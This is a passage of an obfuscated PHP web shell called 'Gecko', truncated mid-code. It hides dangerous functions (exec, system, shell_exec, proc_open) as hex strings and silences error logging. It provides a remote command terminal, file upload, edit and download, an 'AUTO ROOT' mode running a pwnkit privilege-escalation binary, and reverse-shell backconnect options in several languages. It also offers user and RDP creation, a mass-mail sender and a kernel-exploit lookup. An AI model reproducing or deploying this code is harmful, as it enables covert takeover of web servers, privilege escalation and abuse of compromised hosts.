${"GLOBALS"}["kzarkwcnynf"] = "file";
${"GLOBALS"}["zqejxwgm"] = "_D";
${"GLOBALS"}["ffhwthehfke"] = "fungsi";
${"GLOBALS"}["xnusza"] = "cdir";
${"GLOBALS"}["lgjstiud"] = "i";
${"GLOBALS"}["sjhbwakjsff"] = "cwd";
${"GLOBALS"}["ieewxhkph"] = "fungsi";
${"GLOBALS"}["golctxwuyq"] = "Array";
session_start();
@set_time_limit(0);
@clearstatcache();
$rtgbutmnyf = "hitung_array";
@ini_set("error_log", NULL);
$acqvczjfsw = "hitung_array";
$mxwgkxhrdlp = "Array";
${"GLOBALS"}["hgqqdcnbo"] = "fungsi";
@ini_set("log_errors", 0);
$bguvgwj = "i";
@ini_set("max_execution_time", 0);
${"GLOBALS"}["klevplx"] = "i";
${"GLOBALS"}["mkbsmuux"] = "i";
@ini_set("output_buffering", 0);
@ini_set("display_errors", 0);
${$mxwgkxhrdlp} = ["676574637764", "676c6f62", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c657065726d73", "66696c65", "7068705f756e616d65", "6765745f63757272656e745f75736572", "68746d6c7370656369616c6368617273", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "746f756368", "6368646972", "72656e616d65", "65786563", "7061737374687275", "73797374656d", "7368656c6c5f65786563", "706f70656e", "70636c6f7365", "73747265616d5f6765745f636f6e74656e7473", "70726f635f6f70656e", "756e6c696e6b", "726d646972", "666f70656e", "66636c6f7365", "66696c655f7075745f636f6e74656e7473", "6d6f76655f75706c6f616465645f66696c65", "63686d6f64", "7379735f6765745f74656d705f646972",];
${$rtgbutmnyf} = count(${${"GLOBALS"}["golctxwuyq"]});
for (${${"GLOBALS"}["mkbsmuux"]} = 0; ${${"GLOBALS"}["klevplx"]} < ${$acqvczjfsw}; ${$bguvgwj}++) {
${"GLOBALS"}["kxwhluunpdho"] = "Array";
${"GLOBALS"}["itqour"] = "fungsi";
${${"GLOBALS"}["itqour"]}[] = unx(${${"GLOBALS"}["kxwhluunpdho"]}[${${"GLOBALS"}["lgjstiud"]}]);
}
if (isset($_GET["d"])) {
${"GLOBALS"}["ctopgggqijwm"] = "cdir";
${"GLOBALS"}["pltcmqfftfd"] = "fungsi";
${${"GLOBALS"}["ctopgggqijwm"]} = unx($_GET["d"]);
${${"GLOBALS"}["pltcmqfftfd"]}[14](${${"GLOBALS"}["xnusza"]});
} else {
${"GLOBALS"}["tpidojk"] = "cdir";
${${"GLOBALS"}["tpidojk"]} = ${${"GLOBALS"}["ffhwthehfke"]}[0]();
}
function download($file)
{
$turugrx = "file";
if (file_exists(${$turugrx})) {
${"GLOBALS"}["zrmknqrpmx"] = "file";
header("Content-Description: File Transfer");
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=" . basename(${${"GLOBALS"}["kzarkwcnynf"]}));
header("Content-Transfer-Encoding: binary");
header("Expires: 0");
header("Cache-Control: must-revalidate");
header("Pragma: public");
header("Content-Length: " . filesize(${${"GLOBALS"}["kzarkwcnynf"]}));
ob_clean();
flush();
readfile(${${"GLOBALS"}["zrmknqrpmx"]});
exit;
}
}
$osmpjecx = "fungsi";
if ($_GET["don"] == true) {
$eosbdtuwthkl = "FilesDon";
${$eosbdtuwthkl} = download(unx($_GET["don"]));
}
echo "<\x21DOCTYPE html>\n<html lang=\"en\">\n\n<head>\n <meta charset=\"UTF-8\"\x3e\n <meta http-equiv=\"\x58-\x55A-Compatible\" content=\"IE=edge\"\x3e\n <title>Gecko [ ";
$rwpmbk = "file_manager";
echo $_SERVER["SERVER_NAME"];
echo " ]</title>\n <script src='https://kit.fontawesome.com/057b9b510c.js' crossorigin='anonymous'\x3e</script\x3e\n <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.6.1/jquery.min.js\"></script\x3e\n <script src=\"//cdn.jsdelivr.net/npm/sweetalert2@11\"\x3e</script>\n <style>\n .btn-submit,\n a {\n text-decoration: none;\n color: \x23fff\n }\n\n a,\n body {\n color: #fff\n }\n\n .btn-submit,\n .form-file,\n tbody tr:nth-child(2n) {\n background-color: #22242d\n }\n\n .code-editor,\n .modal,\n .terminal {\n position: fixed;\n top: 0;\n left: 0;\n right: 0;\n bottom: 0\n }\n\n .code-editor-body textarea,\n .terminal-body textarea {\n width: 98.5%;\n height: 400px;\n font-size: smaller;\n resize: none\n }\n\n .menu-tools li,\n .terminal-body li,\n .terminal-head li {\n display: inline-block\n }\n\n body {\n background-color: \x230e0f17;\n font-family: monospace\n }\n\n .btn-modal-close:hover,\n .btn-submit:hover,\n .menu-file-manager ul,\n .path-pwd,\n thead {\n background-color: \x232e313d\n }\n\n ul {\n list-style: none\n }\n\n .menu-header li {\n padding: 5px 0\n }\n\n .menu-header ul li {\n font-weight: 700;\n font-style: italic\n }\n\n .btn-submit {\n padding: 7px 25px;\n border: 2px solid grey;\n border-radius: 4px\n }\n\n .form-file,\n a:hover {\n color: #c5c8d6\n }\n\n .btn-submit:hover {\n border: 2px solid \x23c5c8d6\n }\n\n .form-upload {\n margin: 10px 0\n }\n\n .form-file {\n border: 2px solid grey;\n padding: 7px 20px;\n border-radius: 4px\n }\n\n .menu-tools {\n width: 95\x25\n }\n\n .menu-tools li {\n margin: 15px 0\n }\n\n .menu-file-manager,\n .modal-mail-text {\n margin: 10px 40px\n }\n\n .menu-file-manager li {\n display: inline-block;\n margin: 15px 20px\n }\n\n .menu-file-manager li a::after {\n content: \"\";\n display: block;\n border-bottom: 1px solid #fff\n }\n\n .path-pwd {\n padding: 15px 0;\n margin: 5px 0\n }\n\n table {\n border-radius: 5px\n }\n\n thead {\n height: 35px\n }\n\n tbody tr td {\n padding: 10px 0\n }\n\n tbody tr td:nth-child(2),\n tbody tr td:nth-child(3),\n tbody tr td:nth-child(4) {\n text-align: center\n }\n\n ::-webkit-scrollbar {\n width: 16px\n }\n\n ::-webkit-scrollbar-track {\n background: #0e0f17\n }\n\n ::-webkit-scrollbar-thumb {\n background: \x2322242d;\n border: 2px solid \x23555;\n border-radius: 4px\n }\n\n ::-webkit-scrollbar-thumb:hover {\n background: #555\n }\n\n ::-webkit-file-upload-button {\n display: none\n }\n\n .modal {\n display: none;\n z-index: 2;\n width: 100%;\n background-color: rgba(0, 0, 0, .3)\n }\n\n .modal-container {\n animation-name: modal-pop-out;\n animation-duration: .7s;\n animation-fill-mode: both;\n margin: 10% auto auto;\n border-radius: 10px;\n width: 800px;\n background-color: \x23f4f4f9\n }\n\n @keyframes modal-pop-out {\n from {\n opacity: 0\n }\n\n to {\n opacity: 1\n }\n }\n\n .modal-header {\n color: \x23000;\n margin-left: 30px;\n padding: 10px\n }\n\n .modal-body,\n .terminal-head li {\n color: \x23000\n }\n\n .modal-create-input {\n width: 700px;\n padding: 10px 5px;\n background-color: #f4f4f9;\n margin: 0 5\x25;\n border: none;\n border-radius: 4px;\n box-shadow: 8px 8px 20px rgba(0, 0, 0, .2);\n border-bottom: 2px solid #0e0f17\n }\n\n .box-shadow {\n box-shadow: 8px 8px 8px rgba(0, 0, 0, .2)\n }\n\n .btn-modal-close {\n background-color: #22242d;\n color: #fff;\n border: none;\n border-radius: 4px;\n padding: 8px 35px\n }\n\n .badge-action-chmod:hover::after,\n .badge-action-download:hover::after,\n .badge-action-editor:hover::after {\n padding: 5px;\n border-radius: 5px;\n margin-left: 110px;\n background-color: \x232e313d\n }\n\n .modal-btn-form {\n margin: 15px 0;\n padding: 10px;\n text-align: right\n }\n\n .file-size {\n color: orange\n }\n\n .badge-root::after {\n content: \"root\";\n display: block;\n position: absolute;\n width: 40px;\n text-align: center;\n margin-top: -30px;\n margin-left: 110px;\n border-radius: 4px;\n background-color: red\n }\n\n .badge-action-chmod:hover::after,\n .badge-action-download:hover::after,\n .badge-action-editor:hover::after,\n .badge-linux::after,\n .badge-windows::after {\n width: 60px;\n text-align: center;\n margin-top: -30px;\n display: block;\n position: absolute\n }\n\n .badge-windows::after {\n background-color: orange;\n color: \x23000;\n margin-left: 100px;\n border-radius: 4px;\n content: \"windows\"\n }\n\n .badge-linux::after {\n margin-left: 100px;\n border-radius: 4px;\n background-color: \x230047a3;\n content: \"linux\"\n }\n\n .badge-action-editor:hover::after {\n content: \"Rename\"\n }\n\n .badge-action-chmod:hover::after {\n content: \"Chmod\"\n }\n\n .badge-action-download:hover::after {\n content: \"Download\"\n }\n\n .code-editor,\n .terminal {\n background-color: rgba(0, 0, 0, .3);\n width: 100\x25\n }\n\n .code-editor-container {\n background-color: #f4f4f9;\n color: \x23000;\n width: 95\x25;\n margin: 40px auto auto;\n border-radius: 10px\n }\n\n .code-editor-head {\n padding: 15px;\n font-weight: 700\n }\n\n .code-editor-body textarea {\n border-radius: 4px;\n margin: 0 4px;\n background-color: #22242d;\n color: \x23fff\n }\n\n .terminal-container {\n animation: .5s both modal-pop-out;\n width: 90%;\n background-color: #f4f4f9;\n margin: 25px auto auto;\n color: \x23000;\n border-radius: 4px\n }\n\n .bc-gecko,\n .mail,\n .terminal-input {\n background-color: \x2322242d;\n color: #fff\n }\n\n .terminal-head {\n padding: 8px\n }\n\n .terminal-head li a {\n color: \x23000;\n position: absolute;\n right: 0;\n margin-right: 110px;\n font-weight: 700;\n margin-top: -20px;\n font-size: 25px;\n padding: 1px 10px\n }\n\n .terminal-body textarea {\n margin: 4px;\n background-color: #22242d;\n color: \x2329db12;\n border-radius: 4px\n }\n\n .active {\n display: block\n }\n\n .terminal-input {\n width: 500px;\n padding: 6px;\n border: 1px solid \x2322242d;\n border-radius: 4px;\n margin: 5px 0\n }\n\n .bc-gecko {\n border: none;\n padding: 7px 10px;\n width: 712px;\n border-radius: 5px;\n margin: 15px 40px\n }\n\n .mail {\n width: 705px;\n resize: none;\n height: 100px\n }\n\n .logo-gecko {\n position: absolute;\n top: -90px;\n right: 40px;\n z-index: -1;\n bottom: 0\n }\n </style>\n</head\x3e\n\n<body>\n <div class=\"menu-header\">\n <ul\x3e\n <li><i class=\"fa-solid fa-computer\"></i>\x26nbsp;";
echo ${${"GLOBALS"}["ffhwthehfke"]}[8]();
echo "</li>\n <li\x3e<i class=\"fa-solid fa-server\"></i>\x26nbsp;";
echo $_SERVER["SERVER_SOFTWARE"];
echo "</li>\n <li><i class=\"fa-solid fa-network-wired\"></i\x3e\x26nbsp;: ";
echo $_SERVER["SERVER_ADDR"];
$lecukigzx = "fungsi";
echo " |\x26nbsp;: ";
$nvyhfnwr = "_F";
echo $_SERVER["REMOTE_ADDR"];
echo "</li>\n <li><i class=\"fa-solid fa-globe\"\x3e</i\x3e ";
${"GLOBALS"}["kervsci"] = "fungsi";
echo s();
$lcrxzgnhus = "fungsi";
echo "</li>\n <li\x3e<i class=\"fa-brands fa-php\"></i>\x26nbsp;";
${"GLOBALS"}["pgiheeqzb"] = "file_manager";
echo PHP_VERSION;
$gottpehq = "val";
echo "</li\x3e\n <li\x3e<i class=\"fa-solid fa-user\"></i>\x26nbsp;";
echo ${${"GLOBALS"}["ieewxhkph"]}[9]();
echo "</li>\n <li class=\"logo-gecko\"\x3e<img width=\"400\" height=\"400\" src=\"https://raw.githubusercontent.com/MadExploits/Gecko/main/gecko1.png\" align=\"right\"\x3e</li\x3e\n <form action=\"\" method=\"post\" enctype='";
echo "multipart\x2fform\x2ddata";
echo "'>\n <li class=\"form-upload\"\x3e<input type=\"submit\" value=\"Upload\" name=\"gecko-up-submit\" class=\"btn-submit\"\x3e\x26nbsp;<input type=\"file\" name=\"gecko-upload\" class=\"form-file\"></li\x3e\n </form>\n </ul\x3e\n </div>\n <div class=\"menu-tools\"\x3e\n <ul>\n <li\x3e<a href=\"?d=";
echo hx(${${"GLOBALS"}["hgqqdcnbo"]}[0]());
echo "\x26terminal=normal\" class=\"btn-submit\"\x3eTerminal</a></li>\n <li\x3e<a href=\"?d=";
echo hx(${${"GLOBALS"}["ffhwthehfke"]}[0]());
echo "\x26terminal=root\" class=\"btn-submit badge-root\">A\x55TO ROOT</a></li>\n <li\x3e<a href=\"?d=";
echo hx(${${"GLOBALS"}["ffhwthehfke"]}[0]());
echo "&adminer\" class=\"btn-submit\"\x3eAdminer</a\x3e</li>\n <li\x3e<a href=\"?d=";
echo hx(${$lecukigzx}[0]());
echo "&destroy\" class=\"btn-submit\">Backdoor Destroyer</a\x3e</li\x3e\n <li\x3e<a href=\"//www.exploit-db.com/search?q=Linux%20Kernel\x2520";
echo suggest_exploit();
echo "\" class=\"btn-submit\"\x3eLinux Exploit</a\x3e</li>\n <li\x3e<a href=\"?d=";
echo hx(${${"GLOBALS"}["ffhwthehfke"]}[0]());
echo "\x26lockshell\" class=\"btn-submit\"\x3eLock Shell</a></li>\n <li\x3e<a href=\"\" class=\"btn-submit badge-linux\" id=\"lock-file\">Lock File</a\x3e</li>\n <li\x3e<a href=\"\" class=\"btn-submit badge-root\" id=\"root-user\"\x3eCreate User</a\x3e</li>\n <li\x3e<a href=\"\" class=\"btn-submit\" id=\"create-rdp\"\x3eCREATE RDP</a\x3e</li\x3e\n <li\x3e<a href=\"?d=";
echo hx(${$lcrxzgnhus}[0]());
echo "\x26mailer\" class=\"btn-submit\">PHP Mailer</a\x3e</li\x3e\n <li\x3e<a href=\"?d=";
echo hx(${${"GLOBALS"}["kervsci"]}[0]());
echo "&backconnect\" class=\"btn-submit\"\x3eBACKCONNECT</a\x3e</li>\n <li\x3e<a href=\"//hashes.com/en/tools/hash_identifier\" class=\"btn-submit\"\x3eHASH IDENTIFIER</a></li\x3e\n <li><a href=\"//github.com/MadExploits/\" class=\"btn-submit\">README</a></li>\n </ul\x3e\n </div>\n\n ";
${$rwpmbk} = ${${"GLOBALS"}["ffhwthehfke"]}[1]("{.[!.],}*", GLOB_BRACE);
${${"GLOBALS"}["kfyvkqjqhe"]} = ${$osmpjecx}[0]();
echo "\n <div class=\"menu-file-manager\">\n <ul>\n <li><a href=\"\" id=\"create_folder\">+ Create Folder</a></li\x3e\n <li><a href=\"\" id=\"create_file\"\x3e+ Create File</a></li>\n </ul\x3e\n <div class=\"path-pwd\">\n ";
${${"GLOBALS"}["sjhbwakjsff"]} = str_replace("\\", "/", ${${"GLOBALS"}["kfyvkqjqhe"]});
${${"GLOBALS"}["vxmzbcu"]} = explode("/", ${${"GLOBALS"}["xyutvvejxbp"]});
if (stristr(PHP_OS, "WIN")) {
windowsDriver();
}
foreach (${${"GLOBALS"}["vxmzbcu"]} as ${${"GLOBALS"}["lffhkvqq"]} => ${$gottpehq}) {
$hdjcksofof = "id";
${"GLOBALS"}["pmegcfxz"] = "val";
${"GLOBALS"}["pcodmjohbw"] = "val";
$ogkevkmod = "i";
$jndbnlr = "i";
${"GLOBALS"}["iqxlwtwoy"] = "id";
if (${${"GLOBALS"}["pcodmjohbw"]} == "" && ${$hdjcksofof} == 0) {
echo " <a href=\"?d=" . hx("/") . "\"><i class=\"fa-solid fa-folder-plus\"></i\x3e / </a\x3e";
continue;
}
if (${${"GLOBALS"}["vyhvnhuhq"]} == "") continue;
echo "<a href=\"?d=";
for (${$jndbnlr} = 0; ${$ogkevkmod} <= ${${"GLOBALS"}["iqxlwtwoy"]}; ${${"GLOBALS"}["lgjstiud"]}++) {
${"GLOBALS"}["mjsuijgwp"] = "i";
$kcxyoxiwqa = "i";
echo hx(${${"GLOBALS"}["vxmzbcu"]}[${$kcxyoxiwqa}]);
if (${${"GLOBALS"}["mjsuijgwp"]} != ${${"GLOBALS"}["lffhkvqq"]}) echo hx("/");
}
echo "\"\x3e" . ${${"GLOBALS"}["pmegcfxz"]} . " / " . "</a\x3e";
}
echo "<a style='font-weight:bold; color:orange;' href='?d=" . hx(__DIR__) . "'>[ \x48OME S\x48ELL ]</a>\x26nbsp;";
echo " </div\x3e\n </ul\x3e\n <table style=\"width: 100%;\">\n <thead\x3e\n <tr\x3e\n <th\x3eName</th\x3e\n <th\x3eSize</th\x3e\n <th>Permission</th\x3e\n <th>Action</th>\n </tr\x3e\n </thead>\n <form action=\"\" method=\"post\">\n <tbody>\n <\x21-- Gecko Folder File Manager --\x3e\n ";
foreach (${${"GLOBALS"}["pgiheeqzb"]} as ${${"GLOBALS"}["zqejxwgm"]}) {
$eypgmvdff = "_D";
echo " ";
${"GLOBALS"}["wggctilj"] = "fungsi";
if (${${"GLOBALS"}["wggctilj"]}[2](${$eypgmvdff})) {
echo " <tr>\n <td\x3e<input type=\"checkbox\" name=\"check[]\" value=\"";
echo ${${"GLOBALS"}["bqmtaotu"]};
echo "\"\x3e\x26nbsp;<i class=\"fa-solid fa-folder-open\" style=\"color:orange;\"></i\x3e <a href=\"?d=";
${"GLOBALS"}["brkubgp"] = "fungsi";
$iyqrddhpfiu = "fungsi";
$ifufuslkyoo = "_D";
$fxobkafri = "fungsi";
echo hx(${${"GLOBALS"}["brkubgp"]}[0]() . "/" . ${${"GLOBALS"}["bqmtaotu"]});
echo "\"\x3e";
echo namaPanjang(${$ifufuslkyoo});
$mwcvnfi = "fungsi";
echo "</a\x3e</td\x3e\n <td>[ DIR ]</td>\n <td>\n ";
$ebsmmpp = "_D";
${"GLOBALS"}["qkbtyofok"] = "fungsi";
${"GLOBALS"}["wrmmalcrsp"] = "_D";
if (${$mwcvnfi}[4](${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["bqmtaotu"]})) {
echo "<font color=\"\x2300ff00\"\x3e";
} elseif (!${${"GLOBALS"}["ffhwthehfke"]}[5](${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["bqmtaotu"]})) {
echo "<font color=\"red\"\x3e";
}
echo perms(${$fxobkafri}[0]() . "/" . ${$ebsmmpp});
echo " </td\x3e\n <!-- Action Folder Manager -->\n <td\x3e<a href=\"?d=";
echo hx(${$iyqrddhpfiu}[0]());
echo "&re=";
echo hx(${${"GLOBALS"}["bqmtaotu"]});
echo "\" class=\"badge-action-editor\"\x3e<i class=\"fa-solid fa-pen-to-square\"></i></a\x3e <a href=\"?d=";
echo hx(${${"GLOBALS"}["qkbtyofok"]}[0]());
echo "\x26ch=";
echo hx(${${"GLOBALS"}["wrmmalcrsp"]});
echo "\" class=\"badge-action-chmod\"\x3e<i class=\"fa-solid fa-user-pen\"></i></a></td>\n </tr\x3e\n ";
}
echo "\n ";
}
echo "\n <!-- Gecko Files Manager --\x3e\n ";
foreach (${${"GLOBALS"}["vmjijohl"]} as ${$nvyhfnwr}) {
echo " ";
if (${${"GLOBALS"}["ffhwthehfke"]}[3](${${"GLOBALS"}["esxgnddkg"]})) {
$sgufjk = "fungsi";
echo " <tr\x3e\n <td\x3e<input type=\"checkbox\" name=\"check[]\" value=\"";
echo ${${"GLOBALS"}["esxgnddkg"]};
echo "\"> <i class=\"fa-solid fa-file-lines\"\x3e</i>\x26nbsp;<a href=\"?d=";
${"GLOBALS"}["tmleytrjw"] = "_F";
echo hx(${$sgufjk}[0]());
$ipcqmbmx = "_F";
${"GLOBALS"}["gwbydyjbdtf"] = "_F";
$dcljqludtnrh = "fungsi";
echo "\x26f=";
echo hx(${$ipcqmbmx});
${"GLOBALS"}["ydicfks"] = "_F";
$lbyowuwnmcqj = "_F";
${"GLOBALS"}["nrbcjsbx"] = "_F";
echo "\" class=\"gecko-files\">";
echo namaPanjang(${${"GLOBALS"}["gwbydyjbdtf"]});
echo "</a></td>\n <td\x3e";
echo formatSize(filesize(${${"GLOBALS"}["ydicfks"]}));
echo "</td>\n <td>\n ";
if (is_writable(${$dcljqludtnrh}[0]() . "/" . ${${"GLOBALS"}["bqmtaotu"]})) {
echo "<font color=\"#00ff00\">";
} elseif (!is_readable(${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["tmleytrjw"]})) {
echo "<font color=\"red\"\x3e";
}
echo perms(${${"GLOBALS"}["ffhwthehfke"]}[0]() . "/" . ${${"GLOBALS"}["esxgnddkg"]});
echo " </td>\n <!-- Action File Manager -->\n <td\x3e<a href=\"?d=";
echo hx(${${"GLOBALS"}["ffhwthehfke"]}[0]());
echo "&re=";
echo hx(${${"GLOBALS"}["nrbcjsbx"]});
echo "\" class=\"badge-action-editor\"\x3e<i class=\"fa-solid fa-pen-to-square\"\x3e</i></a> <a href=\"?d=";
echo hx(${${"GLOBALS"}["ffhwthehfke"]}[0]());
$klnvwfgithm = "_F";
echo "\x26ch=";
echo hx(${$lbyowuwnmcqj});
echo "\" class=\"badge-action-chmod\"\x3e<i class=\"fa-solid fa-user-pen\"></i\x3e</a>\x26nbsp;<a href=\"?d=";
echo hx(${${"GLOBALS"}["ffhwthehfke"]}[0]());
echo "&don=";
echo hx(${$klnvwfgithm});
echo "\" class=\"badge-action-download\"><i class=\"fa-solid fa-download\"\x3e</i></a\x3e</td\x3e\n </tr\x3e\n ";
}
echo "\n ";
}
echo "\n </tbody>\n </table\x3e\n <br\x3e\n <select name=\"gecko-select\" class=\"btn-submit\"\x3e\n <option value=\"delete\">Delete</option>\n <option value=\"unzip\">\x55nzip</option>\n <option value=\"zip\">Zip</option><br\x3e\n </select>\n <input type=\"submit\" name=\"submit-action\" value=\"Submit\" class=\"btn-submit\" style=\"padding: 8.3px 35px;\">\n </form>\n\n <!-- Modal Pop \x4aquery Create Folder/File By ./MrMad --\x3e\n <div class=\"modal\">\n <div class=\"modal-container\">\n <div class=\"modal-header\">\n <h3\x3e<b><i id=\"modal-title\"\x3e\${this.title}</i></b\x3e</h3>\n </div\x3e\n <form action=\"\" method=\"post\">\n <div class=\"modal-body\">\n <div id=\"modal-body-bc\"\x3e</div>\n <span id=\"modal-input\"\x3e</span\x3e\n <div class=\"modal-btn-form\">\n <input type=\"submit\" name=\"submit\" value=\"Submit\" class=\"btn-modal-close box-shadow\"\x3e <button class=\"btn-modal-close box-shadow\" id=\"close-modal\"\x3eClose</button>\n </div>\n </form>\n </div\x3e\n </div>\n </div>\n </div>\n ";
if (isset($_GET["backconnect"])) {
$xcthjke = "fungsi";
echo " <div class=\"modal active\"\x3e\n <div class=\"modal-container\"\x3e\n <div class=\"modal-header\"\x3e\n <h3><b><i id=\"modal-title\">:: Backconnect</i\x3e</b\x3e</h3\x3e\n </div\x3e\n <form action=\"\" method=\"post\"\x3e\n <div class=\"modal-body\">\n <select class=\"bc-gecko box-shadow\" name=\"gecko-bc\">\n <option value=\"-\"\x3eChoose Backconnect</option\x3e\n <option value=\"perl\">Perl</option\x3e\n <option value=\"python\">Python</option>\n <option value=\"ruby\"\x3eRuby</option\x3e\n <option value=\"bash\"\x3eBash</option\x3e\n <option value=\"php\"\x3ephp</option\x3e\n <option value=\"nc\"\x3enc</option\x3e\n <option value=\"sh\"\x3esh</option\x3e\n <option value=\"xterm\">\x58term</option\x3e\n <option value=\"golang\">Golang</option\x3e\n </select\x3e\n <input type=\"text\" name=\"backconnect-host\" class=\"modal-create-input\" placeholder=\"127.0.0.1\"\x3e\n <br><br\x3e\n <input type=\"number\" name=\"backconnect-port\" class=\"modal-create-input\" placeholder=\"1337\"\x3e\n <div class=\"modal-btn-form\">\n <input type=\"submit\" name=\"submit-bc\" value=\"Submit\" class=\"btn-modal-close box-shadow\"\x3e\x26nbsp;<a class=\"btn-modal-close box-shadow\" href=\"?d=";
echo hx(${$xcthjke}[0]());
echo "\">Close</a\x3e\n </div\x3e\n </form\x3e\n </div>\n </div>\n ";
}
echo "\n ";
if (isset($_GET["mailer"])) {
echo " <div class=\"modal active\">\n <div class=\"modal-container\">\n <div class=\"modal-header\">\n <h3\x3e<b><i id=\"modal-title\">:: P\x48P Mailer</i></b></h3>\n </div\x3e\n <form action=\"\" method=\"post\">\n <div class=\"modal-body\"\x3e\n <div class=\"modal-isi\">\n <form action=\"\" method=\"post\"\x3e\n <div class=\"modal-mail-text\">\n <textarea name=\"message-smtp\" class=\"box-shadow mail\" placeholder=\" Your Text here!\"></textarea\x3e\n </div>\n <br\x3e\n <input type=\"text\" name=\"mailto-subject\" class=\"modal-create-input\" placeholder=\"Subject\"\x3e\n <br\x3e<br\x3e\n <input type=\"email\" name=\"mail-from-smtp\" class=\"modal-create-input\" placeholder=\"from : [email protected]\"\x3e\n <br><br\x3e\n <input type=\"email\" name=\"mail-to-smtp\" class=\"modal-create-input\" placeholder=\"to : [email protected]\"\x3e\n </div>\n <div class=\"modal-btn-form\">\n <input type=\"submit\" name=\"submit\" value=\"Submit\" class=\"btn-modal-close box-shadow\">\x26nbsp;<a class=\"btn-modal-close box-shadow\" href=\"?d=";
echo hx(${${"GLOBALS"}["ffhwthehfke"]}[0]());
echo "\"\x3eClose</a>\n </div\x3e\n </form\x3e\n </div>\n </div\x3e\n ";
}
echo "\n ";
if ($_GET["f"]) {
$jfdgpbotbww = "fungsi";
${"GLOBALS"}["epkpgzae"] = "fungsi";
echo " <div class=\"code-editor\"\x3e\n <div class=\"code-editor-container\">\n <div class=\"code-editor-head\"\x3e\n <h3\x3e<i class=\"fa-solid fa-code\"\x3e</i\x3e Code Editor : ";
${"GLOBALS"}["jwugaqknwg"] = "fungsi";
echo unx($_GET["f"]);
echo "</h3>\n </div>\n <div class=\"code-editor-body\"\x3e\n <form action=\"\" method=\"post\">\n <textarea name=\"code-editor\" class=\"box-shadow\" autofocus>";
echo ${$jfdgpbotbww}[10](${${"GLOBALS"}["jwugaqknwg"]}[11](${${"GLOBALS"}["epkpgzae"]}[0]() . "/" . unx($_GET["f"])));
echo "</textarea>\n <div class=\"modal-btn-form\"\x3e\n <input type=\"submit\" name=\"save-editor\" value=\"Save\" class=\"btn-modal-close\"> <button class=\"btn-modal-close\" id=\"close-editor\">Close</button>\n </div\x3e\n </form>\n </div\x3e\n </div>\n </div\x3e\n ";
}
echo "\n ";
if ($_GET["terminal"] == "normal") {
echo " <div class=\"terminal\">\n <div class=\"terminal-container\"\x3e\n <div class=\"terminal-head\">\n <ul>\n <li id=\"terminal-title\"><b><i class=\"fa-solid fa-terminal\"\x3e</i\x3e\x26nbsp;TERM\x49NAL</b\x3e</li>\n <li\x3e<a href=\"\" class=\"close-terminal\"\x3e<i class=\"fa-solid fa-right-from-bracket\"\x3e</i\x3e</a\x3e</li\x3e\n </ul>\n </div>\n <div class=\"terminal-body\">\n <textarea class=\"box-shadow\" disabled\x3e";
if (isset($_POST["terminal"])) {
$pphasmnqntu = "fungsi";
echo ${$pphasmnqntu}[10](cmd($_POST["terminal-text"] . " 2>\x261"));
}
${"GLOBALS"}["kcskwynjd"] = "fungsi";
echo "</textarea\x3e\n <form action=\"\" method=\"post\">\n <ul\x3e\n <li><input type=\"text\" name=\"terminal-text\" class=\"terminal-input box-shadow\" placeholder=\"";
echo ${${"GLOBALS"}["kcskwynjd"]}[9]() . "@" . $_SERVER["SERVER_ADDR"];
echo "\" autofocus></li>\n <li\x3e<input type=\"submit\" name=\"terminal\" value=\"\x3e\" class=\"btn-modal-close\"\x3e</li>\n </ul\x3e\n </form\x3e\n </div\x3e\n </div\x3e\n </div\x3e\n ";
}
echo "\n ";
if ($_GET["terminal"] == "root") {
echo " <div class=\"terminal\"\x3e\n <div class=\"terminal-container\">\n <div class=\"terminal-head\">\n <ul>\n <li id=\"terminal-title\"><b><i class=\"fa-solid fa-terminal\"></i\x3e\x26nbsp;AUTO ROOT</b></li\x3e\n <li\x3e<a href=\"\" class=\"close-terminal\"\x3e<i class=\"fa-solid fa-right-from-bracket\"\x3e</i\x3e</a\x3e</li\x3e\n </ul\x3e\n </div\x3e\n <div class=\"terminal-body\"\x3e\n <textarea name=\"\" disabled>";
${"GLOBALS"}["wrfwfgou"] = "fungsi";
if (${${"GLOBALS"}["ffhwthehfke"]}[3](".mad-root") && ${${"GLOBALS"}["wrfwfgou"]}[3]("pwnkit")) {
$jhopjncmf = "r_text";
${"GLOBALS"}["dtvjehxslq"] = "fungsi";
${${"GLOBALS"}["jwssnyah"]} = ${${"GLOBALS"}["dtvjehxslq"]}[11](".mad-root");
${${"GLOBALS"}["amngmdwfyiog"]} = explode(" ", ${${"GLOBALS"}["jwssnyah"]});
if (${$jhopjncmf}[0] == "uid=0(root)") {
if (isset($_POST["submit-root"])) {
echo cmd("./pwnkit \"" . $_POST["root-terminal"] . " 2\x3e\x261\"");
}
} else {
echo "This Device \x49s Not Vulnerable\n";
echo cmd("lsb_release -a") . "\n";
echo "Kernel Version : " . suggest_exploit() . "\n";
}
} else {
${${"GLOBALS"}["ffhwthehfke"]}[24](".mad-root");
}
echo "</textarea>\n <form action=\"\" method=\"post\"\x3e\n <ul\x3e\n <li\x3e<input type=\"text\" name=\"root-terminal\" class=\"terminal-input\" placeholder=\"";
echo "root" . "@" . $_SERVER["SERVER_ADDR"];
echo "\" autofocus></li\x3e\n <li><input type=\"submit\" name=\"submit-root\" value=\">\" class=\"btn-modal-close\"></li>\n </ul\x3e\n </form>\n </div>\n </div\x3e\n </div\x3e\n ";
}
echo "\n ";
if ($_GET["re"] == true) {
echo " <div class=\"modal active\"\x3e\n <div class=\"modal-container\">\n <div class=\"modal-header\"\x3e\n <h3\x3e<b><i id=\"modal-title\">Rename : ";
echo unx($_GET["re"]);
echo "</i\x3e</b\x3e</h3>\n </div\x3e\n <div class=\"modal-body\"\x3e\n <form action=\"\" method=\"post\">\n <span id=\"modal-input\"\x3e<input type=\"text\" name=\"renameFile\" class=\"modal-create-input\" placeholder=\"Rename\"></span\x3e\n <div class=\"modal-btn-form\"\x3e\n <input type=\"submit\" name=\"submit\" value=\"Submit\" class=\"btn-modal-close box-shadow\">\x26nbsp;<button class=\"btn-modal-close box-shadow close-btn-s\">Close</button\x3e\n </div\x3e\n </form>\n </div>\n </div>\n </div\x3e\n </div>\n ";
}
echo "\n ";
if ($_GET["ch"] == true) {
